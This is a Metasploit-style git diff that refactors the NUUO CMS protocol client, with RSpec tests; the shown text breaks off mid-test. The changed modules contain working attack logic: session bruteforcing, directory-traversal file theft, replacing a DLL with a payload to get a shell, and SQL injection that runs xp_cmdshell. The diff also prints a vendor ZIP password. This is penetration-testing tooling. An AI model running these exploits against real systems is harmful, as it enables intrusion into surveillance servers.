diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index f0a62cbe86..98bee4274f 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -125,4 +125,4 @@ require 'msf/core/exploit/kerberos/client' # Other require 'msf/core/exploit/windows_constants' -require 'msf/core/exploit/remote/nuuo' +require 'msf/core/exploit/nuuo' diff --git a/lib/msf/core/exploit/nuuo.rb b/lib/msf/core/exploit/nuuo.rb new file mode 100644 index 0000000000..f669891347 --- /dev/null +++ b/lib/msf/core/exploit/nuuo.rb @@ -0,0 +1,155 @@ +require 'rex/proto/nuuo' + +### +# +# This module exposes methods that may be useful to exploits that deal with +# servers that speak Nuuo NUCM protocol for their devices and management software. +# +### +# NUUO Central Management System (NCS) +module Msf +module Exploit::Remote::Nuuo + # + # Creates an instance of an Nuuo exploit module. + # + def initialize(info = {}) + super(update_info(info, + 'Author' => + [ + 'Pedro Ribeiro ' + ], + )) + + register_options( + [ + Opt::RHOST, + Opt::RPORT(5180), + OptString.new('NCSSESSION', [false, 'Session number of logged in user']), + OptString.new('NCSUSER', [false, 'NUUO Central Management System username', 'admin']), + OptString.new('NCSPASS', [false, 'Password for NCSUSER',]) + ], Msf::Exploit::Remote::Nuuo) + + register_advanced_options( + [ + OptString.new('NCSVERSION', [false, 'Version header used during login']), + OptBool.new('NCSBRUTEAPI', [false, 'Bruteforce Version header used during login', false]), + OptBool.new('NCSTRACE', [false, 'Show NCS requests and responses', false]) + ], Msf::Exploit::Remote::Nuuo) + end + + def connect(global=true) + c = Rex::Proto::Nuuo::Client.new({ + host: datastore['RHOST'], + username: datastore['NCSUSER'], + password: datastore['NCSPASS'], + user_session: datastore['NCSSESSION'], + context: { 'Msf' => framework, 'MsfExploit' => self } + }) + + client.close if self.client && global + self.client = c if global + + c + end + + def generate_req(opts={}) + case opts['method'] + when 'PING' then client.request_ping(opts) + when 'SENDLICFILE' then client.request_sendlicfile(opts) + when 'GETCONFIG' then client.request_getconfig(opts) + when 'COMMITCONFIG' then client.request_commitconfig(opts) + when 'USERLOGIN' then client.request_userlogin(opts) + when 'GETOPENALARM' then client.request_getopenalarm(opts) + else nil + end + end + + def ncs_send_request(opts={}, req=nil, temp: true) + req = generate_req(opts) unless req + return nil unless req + + if datastore['NCSTRACE'] + print_status("Request:\r\n#{req.to_s}") + end + + begin + conn = temp ? client.connect(temp: temp) : nil + res = client.send_recv(req, conn) + if conn && temp + conn.shutdown + conn.close + end + + if datastore['NCSTRACE'] && res + print_status("Response:\r\n#{res.to_s}") + end + + res + rescue ::Errno::EPIPE, ::Timeout::Error => e + print_line(e.message) if datastore['NCSTRACE'] + nil + rescue Rex::ConnectionError => e + vprint_error(e.to_s) + nil + rescue ::Exception => e + print_line(e.message) if datastore['NCSTRACE'] + raise e + end + end + + def ncs_login + unless datastore['NCSVERSION'] || server_version + if datastore['NCSBRUTEAPI'] + vprint_status('Bruteforcing Version string') + self.server_version = ncs_version_bruteforce + else + print_error('Set NCSBRUTEAPI to bruteforce the Version string or NCSVERSION to set a version string') + return nil + end + end + + self.server_version ||= datastore['NCSVERSION'] + unless server_version + print_error('Failed to determine server version') + return nil + end + + res = ncs_send_request({ + 'method' => 'USERLOGIN', + 'server_version' => server_version + }, temp: false) + + if res.headers['User-Session-No'] + self.user_session = res.headers['User-Session-No'] + end + + res + end + + def ncs_version_bruteforce + res = '' + Rex::Proto::Nuuo::Constants::VERSIONS.shuffle.each do |version| + begin + res = ncs_send_request({ + 'method' => 'USERLOGIN', + 'server_version' => version + }) + rescue + print_error('Request failed') + end + + client.close + if res && res.headers['User-Session-No'] + vprint_good("Valid version detected: #{version}") + return version + end + end + + return nil + end + + attr_accessor :client + attr_accessor :server_version + attr_accessor :user_session +end +end diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb deleted file mode 100644 index 6b88ffd5b1..0000000000 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ /dev/null @@ -1,196 +0,0 @@ -require 'msf/core/exploit/tcp' - -### -# -# This module exposes methods that may be useful to exploits that deal with -# servers that speak Nuuo NUCM protocol for their devices and management software. -# -### -module Msf -module Exploit::Remote::Nuuo - include Exploit::Remote::Tcp - - # - # Creates an instance of an Nuuo exploit module. - # - def initialize(info = {}) - super(update_info(info, - 'Author' => - [ - 'Pedro Ribeiro ' - ], - )) - - register_options( - [ - Opt::RHOST, - Opt::RPORT(5180), - OptString.new('SESSION', [false, 'Session number of logged in user']), - OptString.new('USERNAME', [false, 'Username to login as', 'admin']), - OptString.new('PASSWORD', [false, 'Password for the specified user', '']), - ], Msf::Exploit::Remote::Nuuo) - - register_advanced_options( - [ - OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), - ]) - - @nucs_session = nil - - # All NUCS versions at time of release - # Note that these primitives are not guaranteed to work in all versions - # Add new version strings here - # We need these to login; - # when requesting a USERLOGIN we need to send the same version as the server... - @nucs_versions = - [ - "1.3.1", - "1.3.3", - "1.5.0", - "1.5.2", - "1.6.0", - "1.7.0", - "2.1.0", - "2.3.0", - "2.3.1", - "2.3.2", - "2.4.0", - "2.5.0", - "2.6.0", - "2.7.0", - "2.8.0", - "2.9.0", - "2.10.0", - "2.11.0", - "3.0.0", - "3.1.0", - "3.2.0", - "3.3.0", - "3.4.0", - "3.5.0" - ] - - @nucs_version = nil - end - - - ## - # Sends a protocol message aynchronously - fire and forget - ## - def nucs_send_msg_async(msg) - begin - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - # socket cannot be closed, it causes exploits to fail... - #sock.close - rescue - return - end - end - - - # Sends a protocol data message synchronously - sends and returns the result - # A data message is composed of two parts: first the message length and protocol headers, - # then the actual data, while a non-data message only contains the first part. - ## - def nucs_send_msg(msg, data = nil) - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - if data != nil - sock.write(data.to_s) - end - res = sock.recv(4096) - more_data = '' - if res =~ /Content-Length:([0-9]+)/ - data_sz = $1.to_i - recv = 0 - while recv < data_sz - new_data = sock.recv(4096) - break if !new_data || new_data.length == 0 - more_data << new_data - recv += new_data.length - end - end - # socket cannot be closed, it causes exploits to fail... - #sock.close - return [res, more_data] - rescue - return ['', ''] - end - - - ## - # Downloads a file from the CMS install root. - # Add the ZIP extraction and decryption routine once support for it is added to msf. - ## - def nucs_download_file(filename, decrypt = false) - data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) - data[1] - end - - - ## - # Uploads a file to the CMS install root. - ## - def nucs_upload_file(filename, file_data) - data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) - if data[0] =~ /200/ - true - else - false - end - end - - # logs in to the NUCS server - # first, it tries to use the datastore SESSION if such exists - # if not, it then tries to login using the datastore USERNAME and PASSWORD - # In order to login properly, we need to guess the server version... - # ... so just try all of them until we hit the right one - def nucs_login - if datastore['SESSION'] != nil - # since we're logged in, we don't need to guess the version any more - @nucs_session = datastore['SESSION'] - return - end - - @nucs_versions.shuffle.each do |version| - @nucs_version = version - - res = nucs_send_msg( - [ - "USERLOGIN", - "Version: #{@nucs_version}", - "Username: #{datastore['USERNAME']}", - "Password-Length: #{datastore['PASSWORD'].length}", - "TimeZone-Length: 0" - ], - datastore['PASSWORD'] - ) - - if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ - @nucs_session = $1 - break - end - end - end - - private - ## - # Formats the message we want to send into the correct protocol format - ## - def format_msg(msg) - final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" - for line in msg[1...msg.length] - final_msg += "#{line}\r\n" - end - if not final_msg =~ /USERLOGIN/ - final_msg += "User-Session-No: #{@nucs_session}\r\n" - end - return final_msg + "\r\n" - end - -end - -end diff --git a/lib/rex/proto/nuuo.rb b/lib/rex/proto/nuuo.rb new file mode 100644 index 0000000000..e1633b7f11 --- /dev/null +++ b/lib/rex/proto/nuuo.rb @@ -0,0 +1,6 @@ +# -*- coding: binary -*- + +# NUUO implementation +require 'rex/proto/nuuo/client' +require 'rex/proto/nuuo/client_request' +require 'rex/proto/nuuo/constants' diff --git a/lib/rex/proto/nuuo/client.rb b/lib/rex/proto/nuuo/client.rb new file mode 100644 index 0000000000..de5c94f4af --- /dev/null +++ b/lib/rex/proto/nuuo/client.rb @@ -0,0 +1,265 @@ +# -*- coding: binary -*- + +require 'rex/proto/nuuo/client_request' +require 'rex/proto/nuuo/response' +require 'rex/socket' + +module Rex +module Proto +module Nuuo +# This class is a representation of a nuuo client +class Client + # @!attribute host + # @return [String] The nuuo server host + attr_accessor :host + # @!attribute port + # @return [Integer] The nuuo server port + attr_accessor :port + # @!attribute timeout + # @return [Integer] The connect/read timeout + attr_accessor :timeout + # @!attribute connection + # @return [IO] The connection established through Rex sockets + attr_accessor :connection + # @!attribute context + # @return [Hash] The Msf context where the connection belongs to + attr_accessor :context + # @!attribute ncs_version + # @return [String] NCS version used in session + attr_accessor :ncs_version + # @!attribute username + # @return [String] Username for NCS + attr_accessor :username + # @!attribute password + # @return [String] Password for NCS user + attr_accessor :password + # @!attribute user_session + # @return [String] ID for the user session + attr_accessor :user_session + # @!attribute config + # @return [Hash] ClientRequest configuration options + attr_accessor :config + + def initialize(opts = {}) + self.host = opts[:host] + self.port = opts[:port] || 5180 + self.timeout = opts[:timeout] || 10 + self.context = opts[:context] || {} + self.username = opts[:username] + self.password = opts[:password] + self.user_session = opts[:user_session] + + self.config = Nuuo::ClientRequest::DefaultConfig + end + + # Creates a connection through a Rex socket + # + # @return [Rex::Socket::Tcp] + def connect(temp: false) + return connection if connection && !temp + return create_tcp_connection(temp: temp) + end + + # Closes the connection + def close + if connection + connection.shutdown + connection.close unless connection.closed? + end + + self.connection = nil + end + + def send_recv(req, conn=nil, t=-1) + send_request(req, conn) + read_response(conn, t) + end + + def send_request(req, conn=nil) + conn ? conn.put(req.to_s) : connect.put(req.to_s) + end + + def read_response(conn=nil, t=-1) + res = Response.new + conn = connection unless conn + + return res if not t + Timeout.timeout((t < 0) ? nil : t) do + parse_status = nil + while (!conn.closed? && + parse_status != Response::ParseCode::Completed && + parse_status != Response::ParseCode::Error + ) + begin + buff = conn.get_once + parse_status = res.parse(buff || '') + rescue ::Errno::EPIPE, ::EOFError, ::IOError + case res.state + when Response::ParseState::ProcessingHeader + res = nil + when Response::ParseState::ProcessingBody + res.error = :truncated + end + break + end + end + end + + res + end + + def user_session_header(opts) + val = nil + if opts['user_session'] + val = opts['user_session'] + elsif self.user_session + val = self.user_session + end + end + + def request_ping(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'PING' + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session + + ClientRequest.new(opts) + end + + def request_sendlicfile(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'SENDLICFILE' + + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session + opts['data'] = '' unless opts['data'] + + opts['headers']['FileName'] = opts['file_name'] + opts['headers']['Content-Length'] = opts['data'].length + + ClientRequest.new(opts) + end + + # GETCONFIG + # FileName: + # FileType: 1 + # User-Session-No: + # @return [ClientRequest] + def request_getconfig(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'GETCONFIG' + + opts['headers']['FileName'] = opts['file_name'] + opts['headers']['FileType'] = opts['file_type'] || 1 + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session + + ClientRequest.new(opts) + end + + # COMMITCONFIG + # FileName: + # FileType: 1 + # Content-Length + # User-Session-No: + # + # filedata + # @return [ClientRequest] + def request_commitconfig(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'COMMITCONFIG' + + opts['headers']['FileName'] = opts['file_name'] + opts['headers']['FileType'] = opts['file_type'] || 1 + + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session + + opts['data'] = '' unless opts['data'] + opts['headers']['Content-Length'] = opts['data'].length + + ClientRequest.new(opts) + end + + # USERLOGIN + # Version: + # Username: + # Password-Length: + # TimeZone-Length: 0 + # + # password + # @return [ClientRequest] + def request_userlogin(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'USERLOGIN' + + # Account for version... + opts['headers']['Version'] = opts['server_version'] + + username = nil + if opts['username'] && opts['username'] != '' + username = opts['username'] + elsif self.username && self.username != '' + username = self.username + end + + opts['headers']['Username'] = username + + password = '' + if opts['password'] && opts['password'] != '' + password = opts['password'] + elsif self.password && self.password != '' + password = self.password + end + opts['data'] = password + opts['headers']['Password-Length'] = password.length + + # Need to verify if this is needed + opts['headers']['TimeZone-Length'] = '0' + + ClientRequest.new(opts) + end + + # GETOPENALARM NUCM/1.0 + # DeviceID: + # SourceServer: + # LastOne: + # @return [ClientRequest] + def request_getopenalarm(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'GETOPENALARM' + + opts['headers']['DeviceID'] = opts['device_id'] || 1 + opts['headers']['SourceServer'] = opts['source_server'] || 1 + opts['headers']['LastOne'] = opts['last_one'] || 1 + + ClientRequest.new(opts) + end + + + private + + # Creates a TCP connection using Rex::Socket::Tcp + # + # @return [Rex::Socket::Tcp] + def create_tcp_connection(temp: false) + tcp_connection = Rex::Socket::Tcp.create( + 'PeerHost' => host, + 'PeerPort' => port.to_i, + 'Context' => context, + 'Timeout' => timeout + ) + self.connection = tcp_connection unless temp + tcp_connection + end + +end +end +end +end diff --git a/lib/rex/proto/nuuo/client_request.rb b/lib/rex/proto/nuuo/client_request.rb new file mode 100644 index 0000000000..df7ebc9c2a --- /dev/null +++ b/lib/rex/proto/nuuo/client_request.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module Nuuo + +class ClientRequest + + DefaultConfig = { + # + # Nuuo stuff + # + 'method' => 'USERLOGIN', + 'server_version' => nil, + 'data' => nil, + 'headers' => nil, + 'proto' => 'NUCM', + 'version' => '1.0', + 'file_name' => nil, + 'file_type' => nil, + 'user_session' => nil, + } + + attr_reader :opts + + def initialize(opts={}) + @opts = DefaultConfig.merge(opts) + @opts['headers'] ||= {} + end + + def to_s + # Set default header: + req = '' + req << set_method + req << ' ' + req << set_proto_version + + # Set headers + req << set_header('server_version', 'Version') + req << set_header('user_session', 'User-Session-No') + + # Add any additional headers + req << set_extra_headers + + # Set data + req << set_body + end + + def set_method + "#{opts['method']}" + end + + def set_proto_version + "#{opts['proto']}/#{opts['version']}\r\n" + end + + # + # Return header + # + def set_header(key, name) + unless opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name.downcase) + return opts[key] ? set_formatted_header(name, opts[key]) : '' + end + '' + end + + # Return additional headers + # + def set_extra_headers + buf = '' + opts['headers'].each_pair do |var,val| + buf << set_formatted_header(var,val) + end + + buf + end + + def set_body + return "\r\n#{opts['data']}" + end + + def set_formatted_header(var, val) + "#{var}: #{val}\r\n" + end + +end +end +end +end diff --git a/lib/rex/proto/nuuo/constants.rb b/lib/rex/proto/nuuo/constants.rb new file mode 100644 index 0000000000..0e06eada78 --- /dev/null +++ b/lib/rex/proto/nuuo/constants.rb @@ -0,0 +1,45 @@ +# -*- coding: binary -*- +module Rex + module Proto + module Nuuo + class Constants + VERSIONS = + [ + '1.3.1', + '1.3.3', + '1.5.0', + '1.5.2', + '1.6.0', + '1.7.0', + '2.1.0', + '2.3.0', + '2.3.1', + '2.3.2', + '2.4.0', + '2.5.0', + '2.6.0', + '2.7.0', + '2.8.0', + '2.9.0', + '2.10.0', + '2.11.0', + '3.0.0', + '3.1.0', + '3.2.0', + '3.3.0', + '3.4.0', + '3.5.0' + ] +=begin + FILE_BASE = 0 + FILE_IMAGES_MAP = 1 + FILE_TYPE = + [ + FILE_BASE, + FILE_IMAGES_MAP + ] +=end + end + end + end +end diff --git a/lib/rex/proto/nuuo/response.rb b/lib/rex/proto/nuuo/response.rb new file mode 100644 index 0000000000..ae1f672dbe --- /dev/null +++ b/lib/rex/proto/nuuo/response.rb @@ -0,0 +1,121 @@ +# -*- coding:binary -*- + +module Rex +module Proto +module Nuuo +class Response + + module ParseCode + Completed = 1 + Partial = 2 + Error = 3 + end + + module ParseState + ProcessingHeader = 1 + ProcessingBody = 2 + Completed = 3 + end + + attr_accessor :headers + attr_accessor :body + attr_accessor :protocol + attr_accessor :status_code + attr_accessor :message + attr_accessor :bufq + attr_accessor :state + + def initialize(buf=nil) + self.state = ParseState::ProcessingHeader + self.headers = {} + self.body = '' + self.protocol = nil + self.status_code = nil + self.message = nil + self.bufq = '' + parse(buf) if buf + end + + def to_s + s = '' + return unless self.protocol + s << self.protocol + s << " #{self.status_code}" if self.status_code + s << " #{self.message}" if self.message + s << "\r\n" + + self.headers.each do |k,v| + s << "#{k}: #{v}\r\n" + end + + s << "\r\n#{self.body}" + end + + # returns state of parsing + def parse(buf) + self.bufq << buf + + if self.state == ParseState::ProcessingHeader + parse_header + end + + if self.state == ParseState::ProcessingBody + if self.body_bytes_left == 0 + self.state = ParseState::Completed + else + parse_body + end + end + + (self.state == ParseState::Completed) ? ParseCode::Completed : ParseCode::Partial + end + + protected + attr_accessor :body_bytes_left + + def parse_header + head,body = self.bufq.split("\r\n\r\n", 2) + return nil unless body + + get_headers(head) + self.bufq = body || '' + self.body_bytes_left = 0 + + if self.headers['Content-Length'] + self.body_bytes_left = self.headers['Content-Length'].to_i + end + + self.state = ParseState::ProcessingBody + end + + def parse_body + return if self.bufq.length == 0 + if self.body_bytes_left >= 0 + part = self.bufq.slice!(0, self.body_bytes_left) + self.body << part + self.body_bytes_left -= part.length + else + self.body_bytes_left = 0 + end + + if self.body_bytes_left == 0 + self.state = ParseState::Completed + end + end + + def get_headers(head) + head.each_line.with_index do |l, i| + if i == 0 + self.protocol,self.status_code,self.message = l.split(' ', 3) + self.status_code = self.status_code.to_i if self.status_code + next + end + k,v = l.split(':', 2) + self.headers[k] = v.strip + end + end + +end +end +end +end diff --git a/modules/auxiliary/gather/nuuo_cms_bruteforce.rb b/modules/auxiliary/gather/nuuo_cms_bruteforce.rb index 8581e959a3..9de368acb3 100644 --- a/modules/auxiliary/gather/nuuo_cms_bruteforce.rb +++ b/modules/auxiliary/gather/nuuo_cms_bruteforce.rb @@ -119,10 +119,17 @@ class MetasploitModule < Msf::Auxiliary def session_bruteforce_list(weighted_array) list = session_number_list(weighted_array) for session in list - @nucs_session = session - data = nucs_send_msg(['PING']) + req = client.request_ping({ + 'method' => 'PING', + 'user_session' => session + }) + # module fails when shutdown/close lots of connections + # create own connection and dont call close + conn = client.connect(temp: true) + res = client.send_recv(req, conn) + @counter += 1 - if data[0] =~ /OK/ || data[0] =~ /612/ + if res && res.status_code == 200 return session end end @@ -130,6 +137,7 @@ class MetasploitModule < Msf::Auxiliary end def run + connect @counter = 0 print_status('Bruteforcing session - this might take a while, go get some coffee!') session = nil diff --git a/modules/auxiliary/gather/nuuo_cms_file_download.rb b/modules/auxiliary/gather/nuuo_cms_file_download.rb index 33f19cfc8d..dc436a6fe4 100644 --- a/modules/auxiliary/gather/nuuo_cms_file_download.rb +++ b/modules/auxiliary/gather/nuuo_cms_file_download.rb @@ -45,42 +45,49 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptString.new('FILE', [false, 'Additional file to download, use ..\\ to traverse directories from \ - the CMS install folder']) + OptInt.new('DEPTH', [true, 'Directory traversal depth [..\]', 2]), + OptString.new('FILE', [false, 'Additional file to download']) ]) end - def download_file(file_name, ctype='application/zip', decrypt=true) - dl_file = nucs_download_file(file_name, decrypt) - file_name = file_name.gsub('..\\', '') + def download_file(file_name, ctype='application/zip', depth=2) + res = ncs_send_request({ + 'method' => 'GETCONFIG', + 'user_session' => user_session, + 'file_name' => %{#{"..\\"*depth}#{file_name}} + }) + return nil unless res path = store_loot(file_name, ctype, datastore['RHOST'], - dl_file, file_name, "Nuuo CMS #{file_name} downloaded") + res.body, file_name, "Nuuo CMS #{file_name} downloaded") print_good("Downloaded file to #{path}") end - def run - nucs_login + connect + res = ncs_login - unless @nucs_session - fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') + unless res + fail_with(Failure::NoAccess, "Failed to login to Nuuo CMS") end download_file('CMServer.cfg') download_file('ServerConfig.cfg') - # note that when (if) archive/zip is included in msf, the code in the Nuuo mixin needs to be changed - # see the download_file method for details - print_status('The user and server configuration files were stored in the loot database.') - print_status('The files are ZIP encrypted, and due to the lack of the archive/zip gem,') - print_status('they cannot be decrypted in Metasploit.') - print_status('You will need to open them up with zip or a similar utility, and use the') - print_status('password NUCMS2007! to unzip them.') - print_status('Annoy the Metasploit developers until this gets fixed!') + info = %q{ + The user and server configuration files were stored in the loot database. + The files are ZIP encrypted, and due to the lack of the archive/zip gem, + they cannot be decrypted in Metasploit. + You will need to open them up with zip or a similar utility, and use the + password NUCMS2007! to unzip them. + Annoy the Metasploit developers until this gets fixed! + } + print_status("\r\n#{info}") if datastore['FILE'] - filedata = download_file(datastore['FILE'], 'application/octet-stream', false) + download_file(datastore['FILE'], 'application/octet-stream', datastore['DEPTH']) end + + client.close end end diff --git a/modules/exploits/windows/nuuo/nuuo_cms_fu.rb b/modules/exploits/windows/nuuo/nuuo_cms_fu.rb index cc41127759..a09dbdef8f 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_fu.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_fu.rb @@ -76,29 +76,47 @@ class MetasploitModule < Msf::Exploit::Remote end end - def exploit - nucs_login + def upload_file(filename, data) + res = ncs_send_request({ + 'method' => 'COMMITCONFIG', + 'file_name' => "..\\..\\#{filename}", + 'user_session' => user_session, + 'data' => data + }) + end - unless @nucs_session - fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') - end + def exploit + connect + res = ncs_login + fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res # Download and upload a backup of LicenseTool.dll, so that we can restore it at post # and not nuke the CMS installation. @dll = rand_text_alpha(12) print_status("Backing up LicenseTool.dll to #{@dll}") - dll_data = nucs_download_file('LicenseTool.dll') - nucs_upload_file(@dll, dll_data) + + ltool = 'LicenseTool.dll' + res = ncs_send_request({ + 'method' => 'GETCONFIG', + 'file_name' => "..\\..\\#{ltool}", + 'user_session' => user_session + }) + dll_data = res.body + + upload_file(@dll, dll_data) print_status('Uploading payload...') - nucs_upload_file('LicenseTool.dll', generate_payload_dll) + upload_file(ltool, generate_payload_dll) print_status('Sleeping 15 seconds...') Rex.sleep(15) print_status('Sending SENDLICFILE request, shell incoming!') - license_data = rand_text_alpha(50..350) - nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic", - 'Content-Length: ' + license_data.length.to_s], license_data) + res = ncs_send_request({ + 'method' => 'SENDLICFILE', + 'file_name' => "#{rand_text_alpha(3..11)}.lic", + 'user_session' => user_session, + 'data' => rand_text_alpha(50..350) + }) end end diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 92bc3862bd..66b9745dd0 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -57,13 +57,14 @@ class MetasploitModule < Msf::Exploit::Remote end - def inject_sql(sql, final = false) - sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"] - if final - nucs_send_msg_async(sql) - else - nucs_send_msg(sql) - end + def inject_sql(sql) + res = ncs_send_request({ + 'method' => 'GETOPENALARM', + 'user_session' => user_session, + 'device_id' => "#{rand_text_numeric(4)}", + 'source_server' => "';#{sql};-- ", + 'last_one' => "#{rand_text_numeric(4)}" + }) end # Handle incoming requests from the server @@ -78,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote Rex.sleep(3) print_status('Executing shell...') - inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true) + inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\"")) register_file_for_cleanup("c:/windows/temp/#{@filename}") end @@ -112,24 +113,20 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - nucs_login - - unless @nucs_session - fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') - end + connect + ncs_login + fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') unless user_session @pl = generate_payload_exe #do not use SSL - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end + ssl = datastore['SSL'] + datastore['SSL'] = false begin Timeout.timeout(datastore['HTTPDELAY']) {super} rescue Timeout::Error - datastore['SSL'] = true if ssl_restore + datastore['SSL'] = ssl end end end diff --git a/spec/lib/rex/proto/nuuo/client_request_spec.rb b/spec/lib/rex/proto/nuuo/client_request_spec.rb new file mode 100644 index 0000000000..9d27676054 --- /dev/null +++ b/spec/lib/rex/proto/nuuo/client_request_spec.rb @@ -0,0 +1,135 @@ +# -*- coding:binary -*- +require 'rex/proto/nuuo/client_request' + +RSpec.describe Rex::Proto::Nuuo::ClientRequest do + subject(:client_request) { + opts = { + 'user_session' => user_session, + 'headers' => headers_hash, + 'data' => data + } + described_class.new(opts) + } + let(:user_session) {nil} + let(:headers_hash) {{}} + let(:data) {nil} + + describe '#to_s' do + context 'given no additional options' do + it 'returns a USERLOGIN request' do + expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\n\r\n") + end + end + + context 'given a headers hash' do + let(:headers_hash) {{ + 'TestHeader' => 'TestValue', + 'TestHeader1' => 'TestValue1' + }} + it 'dumps the headers after the method line' do + expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\nTestHeader: TestValue\r\nTestHeader1: TestValue1\r\n\r\n") + end + end + + context 'given a user_session and User-Session-No header' do + let(:user_session) {'0'} + let(:headers_hash) {{'User-Session-No' => '1'}} + + it 'prefers the User-Session-No in the headers hash' do + expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\nUser-Session-No: 1\r\n\r\n") + end + end + end + + describe '#set_method' do + it 'returns the method variable' do + expect(client_request.set_method).to eq('USERLOGIN') + end + end + + describe '#set_proto_version' do + it 'returns the protocol and version separated by /' do + expect(client_request.set_proto_version).to eq("NUCM/1.0\r\n") + end + end + + + describe '#set_header' do + + context 'given no user session number' do + let(:user_session) {nil} + + it 'returns an empty header' do + expect(client_request.set_header('user_session', 'User-Session-No')).to eq('') + end + end + + context 'given user session number' do + let(:user_session) {'987'} + + it 'returns a User-Session-No header' do + expect(client_request.set_header('user_session', 'User-Session-No')).to eq("User-Session-No: 987\r\n") + end + end + + context 'given a nonexistent key' do + it 'returns an empty header' do + expect(client_request.set_header('DoesNotExist', 'DoesNotExist')).to eq('') + end + end + + context 'given a key specified in the headers hash' do + let(:user_session) {'987'} + let(:headers_hash) {{'User-Session-No' => '1000'}} + + it 'returns an empty header' do + expect(client_request.set_header('user_session', 'User-Session-No')).to eq('') + end + end + + end + + describe '#set_extra_headers' do + context 'given an empty headers hash' do + it 'returns an empty string' do + expect(client_request.set_extra_headers).to eq('') + end + end + + context 'given a headers hash' do + let(:headers_hash) {{ + 'Header' => 'Value', + 'Another' => 'One' + }} + + it 'returns formatted headers' do + expect(client_request.set_extra_headers).to eq("Header: Value\r\nAnother: One\r\n") + end + end + end + + describe '#set_body' do + context 'given an empty body variable' do + it 'returns \r\n' do + expect(client_request.set_body).to eq("\r\n") + end + end + + context 'given body content' do + let(:data) {"test data"} + + it 'returns \r\n followed by the body content' do + expect(client_request.set_body).to eq("\r\ntest data") + end + end + end + + describe '#set_formatted_header' do + let(:name) {'HeaderName'} + let(:value) {'HeaderValue'} + + it 'creates a request header' do + expect(subject.set_formatted_header(name, value)).to eq("HeaderName: HeaderValue\r\n") + end + end +end diff --git a/spec/lib/rex/proto/nuuo/client_spec.rb b/spec/lib/rex/proto/nuuo/client_spec.rb new file mode 100644 index 0000000000..9f0e4005ca --- /dev/null +++ b/spec/lib/rex/proto/nuuo/client_spec.rb @@ -0,0 +1,548 @@ +# -*- coding:binary -*- +require 'rex/proto/nuuo/client' + +RSpec.describe Rex::Proto::Nuuo::Client do + subject(:client) { + described_class.new({ + protocol: protocol, + user_session: client_user_session, + username: client_username, + password: client_password + }) + } + let(:protocol) {'tcp'} + let(:client_user_session) {nil} + let(:client_username) {nil} + let(:client_password) {nil} + + describe '#connect' do + context 'given temp is false' do + context 'when there is no connection' do + it 'returns a tcp connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + expect(client.connect).to eq(tcp_connection) + end + + it 'saves the tcp connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + client.connect + expect(client.connection).to eq(tcp_connection) + end + end + + context 'when there is saved connection' do + it 'returns the saved tcp connection' do + tcp_connection = double('tcp_connection') + client.connection = tcp_connection + + expect(client.connect).to eq(tcp_connection) + end + end + end + + context 'given temp is true' do + context 'when there is a saved connection' do + it 'returns a new connection' do + tcp_connection0 = double('tcp_connection') + tcp_connection1 = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection1) + + client.connection = tcp_connection0 + expect(client.connect(temp: true)).to 